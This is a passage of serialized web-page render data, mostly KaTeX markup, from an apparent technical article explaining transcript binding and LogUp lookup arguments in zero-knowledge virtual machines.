284,32803],[123360],{"type":29,"value":44278},{"type":23,"tag":75,"props":123362,"children":123363},{"style":122562},[123364,123368],{"type":23,"tag":75,"props":123365,"children":123367},{"className":123366,"style":122553},[15323],[],{"type":23,"tag":75,"props":123369,"children":123371},{"className":123370,"style":122572},[122571],[123372],{"type":23,"tag":75,"props":123373,"children":123375},{"className":123374},[15284],[123376],{"type":29,"value":122579},{"type":23,"tag":75,"props":123378,"children":123380},{"className":123379},[32960],[123381],{"type":29,"value":32963},{"type":23,"tag":75,"props":123383,"children":123385},{"className":123384},[15309],[123386],{"type":23,"tag":75,"props":123387,"children":123389},{"className":123388,"style":122592},[15314],[123390],{"type":23,"tag":75,"props":123391,"children":123392},{},[],{"type":23,"tag":75,"props":123394,"children":123396},{"className":123395},[32932],[123397],{"type":29,"value":643},{"type":23,"tag":75,"props":123399,"children":123401},{"className":123400},[15284,122531],[123402],{"type":23,"tag":75,"props":123403,"children":123405},{"className":123404},[15304],[123406],{"type":23,"tag":75,"props":123407,"children":123409},{"className":123408},[15309],[123410],{"type":23,"tag":75,"props":123411,"children":123413},{"className":123412,"style":122617},[15314],[123414,123426],{"type":23,"tag":75,"props":123415,"children":123416},{"style":122548},[123417,123421],{"type":23,"tag":75,"props":123418,"children":123420},{"className":123419,"style":122553},[15323],[],{"type":23,"tag":75,"props":123422,"children":123424},{"className":123423,"style":103382},[15284,32803],[123425],{"type":29,"value":104201},{"type":23,"tag":75,"props":123427,"children":123428},{"style":122548},[123429,123433],{"type":23,"tag":75,"props":123430,"children":123432},{"className":123431,"style":122553},[15323],[],{"type":23,"tag":75,"props":123434,"children":123436},{"className":123435,"style":122641},[122571],[123437],{"type":23,"tag":75,"props":123438,"children":123440},{"className":123439,"style":122647},[122646],[123441],{"type":23,"tag":45467,"props":123442,"children":123443},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123444],{"type":23,"tag":122659,"props":123445,"children":123446},{"d":122661},[],{"type":23,"tag":75,"props":123448,"children":123450},{"className":123449},[32954],[123451],{"type":29,"value":1347},{"type":29,"value":123453}," is linear in the table values ",{"type":23,"tag":71,"props":123455,"children":123457},{"className":123456},[15256,15257],[123458],{"type":23,"tag":75,"props":123459,"children":123461},{"className":123460},[15262],[123462],{"type":23,"tag":75,"props":123463,"children":123465},{"className":123464,"ariaHidden":15268},[15267],[123466],{"type":23,"tag":75,"props":123467,"children":123469},{"className":123468},[15273],[123470,123474,123479,123484,123533],{"type":23,"tag":75,"props":123471,"children":123473},{"className":123472,"style":122960},[15278],[],{"type":23,"tag":75,"props":123475,"children":123477},{"className":123476,"style":105736},[15284,32803],[123478],{"type":29,"value":44278},{"type":23,"tag":75,"props":123480,"children":123482},{"className":123481},[32932],[123483],{"type":29,"value":643},{"type":23,"tag":75,"props":123485,"children":123487},{"className":123486},[15284,122531],[123488],{"type":23,"tag":75,"props":123489,"children":123491},{"className":123490},[15304],[123492],{"type":23,"tag":75,"props":123493,"children":123495},{"className":123494},[15309],[123496],{"type":23,"tag":75,"props":123497,"children":123499},{"className":123498,"style":122747},[15314],[123500,123512],{"type":23,"tag":75,"props":123501,"children":123502},{"style":122548},[123503,123507],{"type":23,"tag":75,"props":123504,"children":123506},{"className":123505,"style":122553},[15323],[],{"type":23,"tag":75,"props":123508,"children":123510},{"className":123509},[15284,32803],[123511],{"type":29,"value":14507},{"type":23,"tag":75,"props":123513,"children":123514},{"style":122915},[123515,123519],{"type":23,"tag":75,"props":123516,"children":123518},{"className":123517,"style":122553},[15323],[],{"type":23,"tag":75,"props":123520,"children":123522},{"className":123521,"style":122774},[122571],[123523],{"type":23,"tag":75,"props":123524,"children":123526},{"className":123525,"style":122647},[122646],[123527],{"type":23,"tag":45467,"props":123528,"children":123529},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123530],{"type":23,"tag":122659,"props":123531,"children":123532},{"d":122661},[],{"type":23,"tag":75,"props":123534,"children":123536},{"className":123535},[32954],[123537],{"type":29,"value":1347},{"type":29,"value":557},{"type":23,"tag":32,"props":123540,"children":123541},{},[123542,123544,123613],{"type":29,"value":123543},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":71,"props":123545,"children":123547},{"className":123546},[15256,15257],[123548],{"type":23,"tag":75,"props":123549,"children":123551},{"className":123550},[15262],[123552],{"type":23,"tag":75,"props":123553,"children":123555},{"className":123554,"ariaHidden":15268},[15267],[123556],{"type":23,"tag":75,"props":123557,"children":123559},{"className":123558},[15273],[123560,123564],{"type":23,"tag":75,"props":123561,"children":123563},{"className":123562,"style":122617},[15278],[],{"type":23,"tag":75,"props":123565,"children":123567},{"className":123566},[15284,122531],[123568],{"type":23,"tag":75,"props":123569,"children":123571},{"className":123570},[15304],[123572],{"type":23,"tag":75,"props":123573,"children":123575},{"className":123574},[15309],[123576],{"type":23,"tag":75,"props":123577,"children":123579},{"className":123578,"style":122617},[15314],[123580,123592],{"type":23,"tag":75,"props":123581,"children":123582},{"style":122548},[123583,123587],{"type":23,"tag":75,"props":123584,"children":123586},{"className":123585,"style":122553},[15323],[],{"type":23,"tag":75,"props":123588,"children":123590},{"className":123589,"style":103382},[15284,32803],[123591],{"type":29,"value":104201},{"type":23,"tag":75,"props":123593,"children":123594},{"style":122548},[123595,123599],{"type":23,"tag":75,"props":123596,"children":123598},{"className":123597,"style":122553},[15323],[],{"type":23,"tag":75,"props":123600,"children":123602},{"className":123601,"style":122641},[122571],[123603],{"type":23,"tag":75,"props":123604,"children":123606},{"className":123605,"style":122647},[122646],[123607],{"type":23,"tag":45467,"props":123608,"children":123609},{"xmlns":122651,"width":122652,"height":122653,"style":122654,"viewBox":122655,"preserveAspectRatio":122656},[123610],{"type":23,"tag":122659,"props":123611,"children":123612},{"d":122661},[],{"type":29,"value":123614}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":923,"props":123616,"children":123618},{"id":123617},"lookup-arguments-logup",[123619],{"type":29,"value":123620},"Lookup Arguments (LogUp)",{"type":23,"tag":32,"props":123622,"children":123623},{},[123624],{"type":29,"value":123625},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":27910,"props":123627,"children":123628},{},[123629,123685,123690],{"type":23,"tag":2801,"props":123630,"children":123631},{},[123632,123634,123684],{"type":29,"value":123633},"Is this byte in range ",{"type":23,"tag":71,"props":123635,"children":123637},{"className":123636},[15256,15257],[123638],{"type":23,"tag":75,"props":123639,"children":123641},{"className":123640},[15262],[123642],{"type":23,"tag":75,"props":123643,"children":123645},{"className":123644,"ariaHidden":15268},[15267],[123646],{"type":23,"tag":75,"props":123647,"children":123649},{"className":123648},[15273],[123650,123654,123659,123664,123669,123673,123679],{"type":23,"tag":75,"props":123651,"children":123653},{"className":123652,"style":15384},[15278],[],{"type":23,"tag":75,"props":123655,"children":123657},{"className":123656},[32932],[123658],{"type":29,"value":814},{"type":23,"tag":75,"props":123660,"children":123662},{"className":123661},[15284],[123663],{"type":29,"value":648},{"type":23,"tag":75,"props":123665,"children":123667},{"className":123666},[15395],[123668],{"type":29,"value":15398},{"type":23,"tag":75,"props":123670,"children":123672},{"className":123671,"style":15402},[15363],[],{"type":23,"tag":75,"props":123674,"children":123676},{"className":123675},[15284],[123677],{"type":29,"value":123678},"255",{"type":23,"tag":75,"props":123680,"children":123682},{"className":123681},[32954],[123683],{"type":29,"value":1610},{"type":29,"value":1225},{"type":23,"tag":2801,"props":123686,"children":123687},{},[123688],{"type":29,"value":123689},"Does this opcode decode correctly?",{"type":23,"tag":2801,"props":123691,"children":123692},{},[123693],{"type":29,"value":123694},"Is this memory access consistent with previous accesses?",{"type":23,"tag":32,"props":123696,"children":123697},{},[123698,123703],{"type":23,"tag":16596,"props":123699,"children":123700},{},[123701],{"type":29,"value":123702},"The naive approach:",{"type":29,"value":123704}," Add constraints for each check. Expensive.",{"type":23,"tag":32,"props":123706,"children":123707},{},[123708,123713,123715,123720],{"type":23,"tag":16596,"props":123709,"children":123710},{},[123711],{"type":29,"value":123712},"The clever approach:",{"type":29,"value":123714}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":16596,"props":123716,"children":123717},{},[123718],{"type":29,"value":123719},"multiset membership",{"type":29,"value":78972},{"type":23,"tag":32,"props":123722,"children":123723},{},[123724,123729],{"type":23,"tag":16596,"props":123725,"children":123726},{},[123727],{"type":29,"value":123728},"LogUp (Logarithmic Derivative):",{"type":29,"value":123730}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":32,"props":123732,"children":123733},{},[123734,123736,123761,123763,123790],{"type":29,"value":123735},"If set ",{"type":23,"tag":71,"props":123737,"children":123739},{"className":123738},[15256,15257],[123740],{"type":23,"tag":75,"props":123741,"children":123743},{"className":123742},[15262],[123744],{"type":23,"tag":75,"props":123745,"children":123747},{"className":123746,"ariaHidden":15268},[15267],[123748],{"type":23,"tag":75,"props":123749,"children":123751},{"className":123750},[15273],[123752,123756],{"type":23,"tag":75,"props":123753,"children":123755},{"className":123754,"style":32798},[15278],[],{"type":23,"tag":75,"props":123757,"children":123759},{"className":123758},[15284,32803],[123760],{"type":29,"value":1013},{"type":29,"value":123762}," should equal set ",{"type":23,"tag":71,"props":123764,"children":123766},{"className":123765},[15256,15257],[123767],{"type":23,"tag":75,"props":123768,"children":123770},{"className":123769},[15262],[123771],{"type":23,"tag":75,"props":123772,"children":123774},{"className":123773,"ariaHidden":15268},[15267],[123775],{"type":23,"tag":75,"props":123776,"children":123778},{"className":123777},[15273],[123779,123783],{"type":23,"tag":75,"props":123780,"children":123782},{"className":123781,"style":32798},[15278],[],{"type":23,"tag":75,"props":123784,"children":123787},{"className":123785,"style":123786},[15284,32803],"margin-right:0.05017em;",[123788],{"type":29,"value":123789},"B",{"type":29,"value":123791}," as multisets:",{"type":23,"tag":32,"props":123793,"children":123794},{},[123795],{"type":23,"tag":71,"props":123796,"children":123798},{"className":123797},[15256,15257],[123799],{"type":23,"tag":75,"props":123800,"children":123802},{"className":123801},[15262],[123803],{"type":23,"tag":75,"props":123804,"children":123806},{"className":123805,"ariaHidden":15268},[15267],[123807,124022],{"type":23,"tag":75,"props":123808,"children":123810},{"className":123809},[15273],[123811,123816,123889,123893,124009,124013,124018],{"type":23,"tag":75,"props":123812,"children":123815},{"className":123813,"style":123814},[15278],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":75,"props":123817,"children":123819},{"className":123818},[32839],[123820,123825],{"type":23,"tag":75,"props":123821,"children":123823},{"className":123822,"style":32846},[32839,32844,32845],[123824],{"type":29,"value":119177},{"type":23,"tag":75,"props":123826,"children":123828},{"className":123827},[15299],[123829],{"type":23,"tag":75,"props":123830,"children":123832},{"className":123831},[15304,32857],[123833,123877],{"type":23,"tag":75,"props":123834,"children":123836},{"className":123835},[15309],[123837,123872],{"type":23,"tag":75,"props":123838,"children":123841},{"className":123839,"style":123840},[15314],"height:0.1786em;",[123842],{"type":23,"tag":75,"props":123843,"children":123844},{"style":32870},[123845,123849],{"type":23,"tag":75,"props":123846,"children":123848},{"className":123847,"style":15324},[15323],[],{"type":23,"tag":75,"props":123850,"children":123852},{"className":123851},[15329,15330,15331,15332],[123853],{"type":23,"tag":75,"props":123854,"children":123856},{"className":123855},[15284,15332],[123857,123862,123867],{"type":23,"tag":75,"props":123858,"children":123860},{"className":123859},[15284,32803,15332],[123861],{"type":29,"value":940},{"type":23,"tag":75,"props":123863,"children":123865},{"className":123864},[15466,15332],[123866],{"type":29,"value":32910},{"type":23,"tag":75,"props":123868,"children":123870},{"className":123869},[15284,32803,15332],[123871],{"type":29,"value":1013},{"type":23,"tag":75,"props":123873,"children":123875},{"className":123874},[32960],[123876],{"type":29,"value":32963},{"type":23,"tag":75,"props":123878,"children":123880},{"className":123879},[15309],[123881],{"type":23,"tag":75,"props":123882,"children":123885},{"className":123883,"style":123884},[15314],"height:0.3271em;",[123886],{"type":23,"tag":75,"props":123887,"children":123888},{},[],{"type":23,"tag":75,"props":123890,"children":123892},{"className":123891,"style":15402},[15363],[],{"type":23,"tag":75,"props":123894,"children":123896},{"className":123895},[15284],[123897,123902,124005],{"type":23,"tag":75,"props":123898,"children":123901},{"className":123899},[32932,123900],"nulldelimiter",[],{"type":23,"tag":75,"props":123903,"children":123906},{"className":123904},[123905],"mfrac",[123907],{"type":23,"tag":75,"props":123908,"children":123910},{"className":123909},[15304,32857],[123911,123993],{"type":23,"tag":75,"props":123912,"children":123914},{"className":123913},[15309],[123915,123988],{"type":23,"tag":75,"props":123916,"children":123919},{"className":123917,"style":123918},[15314],"height:0.8451em;",[123920,123953,123967],{"type":23,"tag":75,"props":123921,"children":123923},{"style":123922},"top:-2.655em;",[123924,123928],{"type":23,"tag":75,"props":123925,"children":123927},{"className":123926,"style":122553},[15323],[],{"type":23,"tag":75,"props":123929,"children":123931},{"className":123930},[15329,15330,15331,15332],[123932],{"type":23,"tag":75,"props":123933,"children":123935},{"className":123934},[15284,15332],[123936,123943,123948],{"type":23,"tag":75,"props":123937,"children":123940},{"className":123938,"style":123939},[15284,32803,15332],"margin-right:0.04398em;",[123941],{"type":29,"value":123942},"z",{"type":23,"tag":75,"props":123944,"children":123946},{"className":123945},[15369,15332],[123947],{"type":29,"value":15343},{"type":23,"tag":75,"props":123949,"children":123951},{"className":123950},[15284,32803,15332],[123952],{"type":29,"value":940},{"type":23,"tag":75,"props":123954,"children":123956},{"style":123955},"top:-3.23em;",[123957,123961],{"type":23,"tag":75,"props":123958,"children":123960},{"className":123959,"style":122553},[15323],[],{"type":23,"tag":75,"props":123962,"children":123966},{"className":123963,"style":123965},[123964],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":75,"props":123968,"children":123970},{"style":123969},"top:-3.394em;",[123971,123975],{"type":23,"tag":75,"props":123972,"children":123974},{"className":123973,"style":122553},[15323],[],{"type":23,"tag":75,"props":123976,"children":123978},{"className":123977},[15329,15330,15331,15332],[123979],{"type":23,"tag":75,"props":123980,"children":123982},{"className":123981},[15284,15332],[123983],{"type":23,"tag":75,"props":123984,"children":123986},{"className":123985},[15284,15332],[123987],{"type":29,"value":7867},{"type":23,"tag":75,"props":123989,"children":123991},{"className":123990},[32960],[123992],{"type":29,"value":32963},{"type":23,"tag":75,"props":123994,"children":123996},{"className":123995},[15309],[123997],{"type":23,"tag":75,"props":123998,"children":124001},{"className":123999,"style":124000},[15314],"height:0.4033em;",[124002],{"type":23,"tag":75,"props":124003,"children":124004},{},[],{"type":23,"tag":75,"props":124006,"children":124008},{"className":124007},[32954,123900],[],{"type":23,"tag":75,"props":124010,"children":124012},{"className":124011,"style":15461},[15363],[],{"type":23,"tag":75,"props":124014,"children":124016},{"className":124015},[15466],[124017],{"type":29,"value":212},{"type":23,"tag":75,"props":124019,"children":124021},{"className":124020,"style":15461},[15363],[],{"type":23,"tag":75,"props":124023,"children":124025},{"className":124024},[15273],[124026,124030,124102,124106],{"type":23,"tag":75,"props":124027,"children":124029},{"className":124028,"style":123814},[15278],[],{"type":23,"tag":75,"props":124031,"children":124033},{"className":124032},[32839],[124034,124039],{"type":23,"tag":75,"props":124035,"children":124037},{"className":124036,"style":32846},[32839,32844,32845],[124038],{"type":29,"value":119177},{"type":23,"tag":75,"props":124040,"children":124042},{"className":124041},[15299],[124043],{"type":23,"tag":75,"props":124044,"children":124046},{"className":124045},[15304,32857],[124047,124091],{"type":23,"tag":75,"props":124048,"children":124050},{"className":124049},[15309],[124051,124086],{"type":23,"tag":75,"props":124052,"children":124055},{"className":124053,"style":124054},[15314],"height:0.1864em;",[124056],{"type":23,"tag":75,"props":124057,"children":124058},{"style":32870},[124059,124063],{"type":23,"tag":75,"props":124060,"children":124062},{"className":124061,"style":15324},[15323],[],{"type":23,"tag":75,"props":124064,"children":124066},{"className":124065},[15329,15330,15331,15332],[124067],{"type":23,"tag":75,"props":124068,"children":124070},{"className":124069},[15284,15332],[124071,124076,124081],{"type":23,"tag":75,"props":124072,"children":124074},{"className":124073},[15284,32803,15332],[124075],{"type":29,"value":14507},{"type":23,"tag":75,"props":124077,"children":124079},{"className":124078},[15466,15332],[124080],{"type":29,"value":32910},{"type":23,"tag":75,"props":124082,"children":124084},{"className":124083,"style":123786},[15284,32803,15332],[124085],{"type":29,"value":123789},{"type":23,"tag":75,"props":124087,"children":124089},{"className":124088},[32960],[124090],{"type":29,"value":32963},{"type":23,"tag":75,"props":124092,"children":124094},{"className":124093},[15309],[124095],{"type":23,"tag":75,"props":124096,"children":124098},{"className":124097,"style":123884},[15314],[124099],{"type":23,"tag":75,"props":124100,"children":124101},{},[],{"type":23,"tag":75,"props":124103,"children":124105},{"className":124104,"style":15402},[15363],[],{"type":23,"tag":75,"props":124107,"children":124109},{"className":124108},[15284],[124110,124114,124207],{"type":23,"tag":75,"props":124111,"children":124113},{"className":124112},[32932,123900],[],{"type":23,"tag":75,"props":124115,"children":124117},{"className":124116},[123905],[124118],{"type":23,"tag":75,"props":124119,"children":124121},{"className":124120},[15304,32857],[124122,124196],{"type":23,"tag":75,"props":124123,"children":124125},{"className":124124},[15309],[124126,124191],{"type":23,"tag":75,"props":124127,"children":124129},{"className":124128,"style":123918},[15314],[124130,124160,124171],{"type":23,"tag":75,"props":124131,"children":124132},{"style":123922},[124133,124137],{"type":23,"tag":75,"props":124134,"children":124136},{"className":124135,"style":122553},[15323],[],{"type":23,"tag":75,"props":124138,"children":124140},{"className":124139},[15329,15330,15331,15332],[124141],{"type":23,"tag":75,"props":124142,"children":124144},{"className":124143},[15284,15332],[124145,124150,124155],{"type":23,"tag":75,"props":124146,"children":124148},{"className":124147,"style":123939},[15284,32803,15332],[124149],{"type":29,"value":123942},{"type":23,"tag":75,"props":124151,"children":124153},{"className":124152},[15369,15332],[124154],{"type":29,"value":15343},{"type":23,"tag":75,"props":124156,"children":124158},{"className":124157},[15284,32803,15332],[124159],{"type":29,"value":14507},{"type":23,"tag":75,"props":124161,"children":124162},{"style":123955},[124163,124167],{"type":23,"tag":75,"props":124164,"children":124166},{"className":124165,"style":122553},[15323],[],{"type":23,"tag":75,"props":124168,"children":124170},{"className":124169,"style":123965},[123964],[],{"type":23,"tag":75,"props":124172,"children":124173},{"style":123969},[124174,124178],{"type":23,"tag":75,"props":124175,"children":124177},{"className":124176,"style":122553},[15323],[],{"type":23,"tag":75,"props":124179,"children":124181},{"className":124180},[15329,15330,15331,15332],[124182],{"type":23,"tag":75,"props":124183,"children":124185},{"className":124184},[15284,15332],[124186],{"type":23,"tag":75,"props":124187,"children":124189},{"className":124188},[15284,15332],[124190],{"type":29,"value":7867},{"type":23,"tag":75,"props":124192,"children":124194},{"className":124193},[32960],[124195],{"type":29,"value":32963},{"type":23,"tag":75,"props":124197,"children":124199},{"className":124198},[15309],[124200],{"type":23,"tag":75,"props":124201,"children":124203},{"className":124202,"style":124000},[15314],[124204],{"type":23,"tag":75,"props":124205,"children":124206},{},[],{"type":23,"tag":75,"props":124208,"children":124210},{"className":124209},[32954,123900],[],{"type":23,"tag":32,"props":124212,"children":124213},{},[124214,124216,124241],{"type":29,"value":124215},"for random challenge ",{"type":23,"tag":71,"props":124217,"children":124219},{"className":124218},[15256,15257],[124220],{"type":23,"tag":75,"props":124221,"children":124223},{"className":124222},[15262],[124224],{"type":23,"tag":75,"props":124225,"children":124227},{"className":124226,"ariaHidden":15268},[15267],[124228],{"type":23,"tag":75,"props":124229,"children":124231},{"className":124230},[15273],[124232,124236],{"type":23,"tag":75,"props":124233,"children":124235},{"className":124234,"style":121223},[15278],[],{"type":23,"tag":75,"props":124237,"children":124239},{"className":124238,"style":123939},[15284,32803],[124240],{"type":29,"value":123942},{"type":29,"value":124242},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":32,"props":124244,"children":124245},{},[124246,124251],{"type":23,"tag":16596,"props":124247,"children":124248},{},[124249],{"type":29,"value":124250},"In zkVMs:",{"type":29,"value":124252}," Different components emit and consume lookup tuples:",{"type":23,"tag":27910,"props":124254,"children":124255},{},[124256,124343],{"type":23,"tag":2801,"props":124257,"children":124258},{},[124259,124261,124287,124289,124314,124316,124342],{"type":29,"value":124260},"CPU emits: \"I read value ",{"type":23,"tag":71,"props":124262,"children":124264},{"className":124263},[15256,15257],[124265],{"type":23,"tag":75,"props":124266,"children":124268},{"className":124267},[15262],[124269],{"type":23,"tag":75,"props":124270,"children":124272},{"className":124271,"ariaHidden":15268},[15267],[124273],{"type":23,"tag":75,"props":124274,"children":124276},{"className":124275},[15273],[124277,124281],{"type":23,"tag":75,"props":124278,"children":124280},{"className":124279,"style":121223},[15278],[],{"type":23,"tag":75,"props":124282,"children":124284},{"className":124283,"style":103868},[15284,32803],[124285],{"type":29,"value":124286},"v",{"type":29,"value":124288}," from address ",{"type":23,"tag":71,"props":124290,"children":124292},{"className":124291},[15256,15257],[124293],{"type":23,"tag":75,"props":124294,"children":124296},{"className":124295},[15262],[124297],{"type":23,"tag":75,"props":124298,"children":124300},{"className":124299,"ariaHidden":15268},[15267],[124301],{"type":23,"tag":75,"props":124302,"children":124304},{"className":124303},[15273],[124305,124309],{"type":23,"tag":75,"props":124306,"children":124308},{"className":124307,"style":121223},[15278],[],{"type":23,"tag":75,"props":124310,"children":124312},{"className":124311},[15284,32803],[124313],{"type":29,"value":940},{"type":29,"value":124315}," at time ",{"type":23,"tag":71,"props":124317,"children":124319},{"className":124318},[15256,15257],[124320],{"type":23,"tag":75,"props":124321,"children":124323},{"className":124322},[15262],[124324],{"type":23,"tag":75,"props":124325,"children":124327},{"className":124326,"ariaHidden":15268},[15267],[124328],{"type":23,"tag":75,"props":124329,"children":124331},{"className":124330},[15273],[124332,124337],{"type":23,"tag":75,"props":124333,"children":124336},{"className":124334,"style":124335},[15278],"height:0.6151em;",[],{"type":23,"tag":75,"props":124338,"children":124340},{"className":124339},[15284,32803],[124341],{"type":29,"value":32945},{"type":29,"value":31282},{"type":23,"tag":2801,"props":124344,"children":124345},{},[124346,124348,124373,124375,124400,124402,124427],{"type":29,"value":124347},"Memory table consumes: \"At time ",{"type":23,"tag":71,"props":124349,"children":124351},{"className":124350},[15256,15257],[124352],{"type":23,"tag":75,"props":124353,"children":124355},{"className":124354},[15262],[124356],{"type":23,"tag":75,"props":124357,"children":124359},{"className":124358,"ariaHidden":15268},[15267],[124360],{"type":23,"tag":75,"props":124361,"children":124363},{"className":124362},[15273],[124364,124368],{"type":23,"tag":75,"props":124365,"children":124367},{"className":124366,"style":124335},[15278],[],{"type":23,"tag":75,"props":124369,"children":124371},{"className":124370},[15284,32803],[124372],{"type":29,"value":32945},{"type":29,"value":124374},", address ",{"type":23,"tag":71,"props":124376,"children":124378},{"className":124377},[15256,15257],[124379],{"type":23,"tag":75,"props":124380,"children":124382},{"className":124381},[15262],[124383],{"type":23,"tag":75,"props":124384,"children":124386},{"className":124385,"ariaHidden":15268},[15267],[124387],{"type":23,"tag":75,"props":124388,"children":124390},{"className":124389},[15273],[124391,124395],{"type":23,"tag":75,"props":124392,"children":124394},{"className":124393,"style":121223},[15278],[],{"type":23,"tag":75,"props":124396,"children":124398},{"className":124397},[15284,32803],[124399],{"type":29,"value":940},{"type":29,"value":124401}," contained ",{"type":23,"tag":71,"props":124403,"children":124405},{"className":124404},[15256,15257],[124406],{"type":23,"tag":75,"props":124407,"children":124409},{"className":124408},[15262],[124410],{"type":23,"tag":75,"props":124411,"children":124413},{"className":124412,"ariaHidden":15268},[15267],[124414],{"type":23,"tag":75,"props":124415,"children":124417},{"className":124416},[15273],[124418,124422],{"type":23,"tag":75,"props":124419,"children":124421},{"className":124420,"style":121223},[15278],[],{"type":23,"tag":75,"props":124423,"children":124425},{"className":124424,"style":103868},[15284,32803],[124426],{"type":29,"value":124286},{"type":29,"value":31282},{"type":23,"tag":32,"props":124429,"children":124430},{},[124431],{"type":29,"value":124432},"If everything balances, the execution is consistent.",{"type":23,"tag":32,"props":124434,"children":124435},{},[124436,124441],{"type":23,"tag":16596,"props":124437,"children":124438},{},[124439],{"type":29,"value":124440},"The claimed_sum:",{"type":29,"value":124442}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":32,"props":124444,"children":124445},{},[124446],{"type":23,"tag":71,"props":124447,"children":124449},{"className":124448},[15256,15257],[124450],{"type":23,"tag":75,"props":124451,"children":124453},{"className":124452},[15262],[124454],{"type":23,"tag":75,"props":124455,"children":124457},{"className":124456,"ariaHidden":15268},[15267],[124458,124556,124807],{"type":23,"tag":75,"props":124459,"children":124461},{"className":124460},[15273],[124462,124466,124476,124481,124543,124547,124552],{"type":23,"tag":75,"props":124463,"children":124465},{"className":124464,"style":104795},[15278],[],{"type":23,"tag":75,"props":124467,"children":124469},{"className":124468},[15284,29],[124470],{"type":23,"tag":75,"props":124471,"children":124473},{"className":124472},[15284],[124474],{"type":29,"value":124475},"claimed",{"type":23,"tag":75,"props":124477,"children":124479},{"className":124478,"style":103382},[15284],[124480],{"type":29,"value":14370},{"type":23,"tag":75,"props":124482,"children":124484},{"className":124483},[15284],[124485,124494],{"type":23,"tag":75,"props":124486,"children":124488},{"className":124487},[15284,29],[124489],{"type":23,"tag":75,"props":124490,"children":124492},{"className":124491},[15284],[124493],{"type":29,"value":868},{"type":23,"tag":75,"props":124495,"children":124497},{"className":124496},[15299],[124498],{"type":23,"tag":75,"props":124499,"children":124501},{"className":124500},[15304,32857],[124502,124532],{"type":23,"tag":75,"props":124503,"children":124505},{"className":124504},[15309],[124506,124527],{"type":23,"tag":75,"props":124507,"children":124509},{"className":124508,"style":103911},[15314],[124510],{"type":23,"tag":75,"props":124511,"children":124513},{"style":124512},"top:-2.55em;margin-right:0.05em;",[124514,124518],{"type":23,"tag":75,"props":124515,"children":124517},{"className":124516,"style":15324},[15323],[],{"type":23,"tag":75,"props":124519,"children":124521},{"className":124520},[15329,15330,15331,15332],[124522],{"type":23,"tag":75,"props":124523,"children":124525},{"className":124524},[15284,32803,15332],[124526],{"type":29,"value":12935},{"type":23,"tag":75,"props":124528,"children":124530},{"className":124529},[32960],[124531],{"type":29,"value":32963},{"type":23,"tag":75,"props":124533,"children":124535},{"className":124534},[15309],[124536],{"type":23,"tag":75,"props":124537,"children":124539},{"className":124538,"style":103465},[15314],[124540],{"type":23,"tag":75,"props":124541,"children":124542},{},[],{"type":23,"tag":75,"props":124544,"children":124546},{"className":124545,"style":15461},[15363],[],{"type":23,"tag":75,"props":124548,"children":124550},{"className":124549},[15466],[124551],{"type":29,"value":212},{"type":23,"tag":75,"props":124553,"children":124555},{"className":124554,"style":15461},[15363],[],{"type":23,"tag":75,"props":124557,"children":124559},{"className":124558},[15273],[124560,124565,124625,124629,124794,124798,124803],{"type":23,"tag":75,"props":124561,"children":124564},{"className":124562,"style":124563},[15278],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":75,"props":124566,"children":124568},{"className":124567},[32839],[124569,124574],{"type":23,"tag":75,"props":124570,"children":124572},{"className":124571,"style":32846},[32839,32844,32845],[124573],{"type":29,"value":119177},{"type":23,"tag":75,"props":124575,"children":124577},{"className":124576},[15299],[124578],{"type":23,"tag":75,"props":124579,"children":124581},{"className":124580},[15304,32857],[124582,124613],{"type":23,"tag":75,"props":124583,"children":124585},{"className":124584},[15309],[124586,124608],{"type":23,"tag":75,"props":124587,"children":124590},{"className":124588,"style":124589},[15314],"height:0.162em;",[124591],{"type":23,"tag":75,"props":124592,"children":124593},{"style":32870},[124594,124598],{"type":23,"tag":75,"props":124595,"children":124597},{"className":124596,"style":15324},[15323],[],{"type":23,"tag":75,"props":124599,"children":124601},{"className":124600},[15329,15330,15331,15332],[124602],{"type":23,"tag":75,"props":124603,"children":124606},{"className":124604,"style":124605},[15284,32803,15332],"margin-right:0.05724em;",[124607],{"type":29,"value":19913},{"type":23,"tag":75,"props":124609,"children":124611},{"className":124610},[32960],[124612],{"type":29,"value":32963},{"type":23,"tag":75,"props":124614,"children":124616},{"className":124615},[15309],[124617],{"type":23,"tag":75,"props":124618,"children":124621},{"className":124619,"style":124620},[15314],"height:0.4358em;",[124622],{"type":23,"tag":75,"props":124623,"children":124624},{},[],{"type":23,"tag":75,"props":124626,"children":124628},{"className":124627,"style":15402},[15363],[],{"type":23,"tag":75,"props":124630,"children":124632},{"className":124631},[15284],[124633,124637,124790],{"type":23,"tag":75,"props":124634,"children":124636},{"className":124635},[32932,123900],[],{"type":23,"tag":75,"props":124638,"children":124640},{"className":124639},[123905],[124641],{"type":23,"tag":75,"props":124642,"children":124644},{"className":124643},[15304,32857],[124645,124778],{"type":23,"tag":75,"props":124646,"children":124648},{"className":124647},[15309],[124649,124773],{"type":23,"tag":75,"props":124650,"children":124652},{"className":124651,"style":123918},[15314],[124653,124742,124753],{"type":23,"tag":75,"props":124654,"children":124655},{"style":123922},[124656,124660],{"type":23,"tag":75,"props":124657,"children":124659},{"className":124658,"style":122553},[15323],[],{"type":23,"tag":75,"props":124661,"children":124663},{"className":124662},[15329,15330,15331,15332],[124664],{"type":23,"tag":75,"props":124665,"children":124667},{"className":124666},[15284,15332],[124668,124673,124678],{"type":23,"tag":75,"props":124669,"children":124671},{"className":124670,"style":123939},[15284,32803,15332],[124672],{"type":29,"value":123942},{"type":23,"tag":75,"props":124674,"children":124676},{"className":124675},[15369,15332],[124677],{"type":29,"value":15343},{"type":23,"tag":75,"props":124679,"children":124681},{"className":124680},[15284,15332],[124682,124691],{"type":23,"tag":75,"props":124683,"children":124685},{"className":124684},[15284,29,15332],[124686],{"type":23,"tag":75,"props":124687,"children":124689},{"className":124688},[15284,15332],[124690],{"type":29,"value":73187},{"type":23,"tag":75,"props":124692,"children":124694},{"className":124693},[1529